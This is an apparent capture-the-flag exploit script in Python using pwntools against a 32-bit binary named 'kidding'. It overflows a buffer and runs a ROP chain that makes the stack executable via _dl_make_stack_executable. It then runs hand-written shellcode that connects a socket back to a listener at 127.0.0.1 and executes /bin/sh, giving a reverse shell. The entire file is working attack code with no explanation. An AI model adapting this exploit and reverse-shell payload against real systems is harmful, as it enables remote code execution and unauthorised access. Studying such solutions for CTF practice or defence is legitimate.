#!/usr/bin/env python
from pwn import *
context.arch = 'i386'

r = process('./kidding')

dl_make_stack_executable = 0x0809a080
stack_prot = 0x080e9fec
libc_stack_end = 0x080e9fc8

pop_eax_ret = 0x080b8536
pop_ecx_ret = 0x080583c9
pop_dword_ecx_ret = 0x0804b5eb
leave_ret = 0x08048798
jmp_esp = 0x080bd13b
call_esp = 0x080c99b0


padding = 'a'*8
padding += binary_ip('127.0.0.1')

rop = flat(
    pop_ecx_ret , stack_prot , pop_dword_ecx_ret , 7 ,
    pop_eax_ret , libc_stack_end , dl_make_stack_executable ,
    call_esp
)

sh = '''
    push 0x1;
    pop ebx;
    cdq;
    mov al, 0x66;
    push edx;
    push ebx;
    push 0x2;
    mov ecx, esp;
    int 0x80;

    pop esi;
    pop ecx;
    xchg ebx, eax;
    mov al, 0x3f;
    int 0x80;

    mov al, 0x66;
    push ebp;
    push ax;
    push si;
    mov ecx, esp;
    push ds;
    push ecx;
    push ebx;
    mov ecx, esp;
    mov bl, 0x3;
    int 0x80;

    mov al, 0xb;
    pop ecx;
    push 0x68732f;
    push 0x6e69622f;
    mov ebx, esp;
    int 0x80;
'''

port = 0x6600
listener = listen(port)

sh = asm(sh)
raw_input('#')
r.sendline(padding + rop + sh)

time.sleep(2)
listener.interactive()

r.interactive()
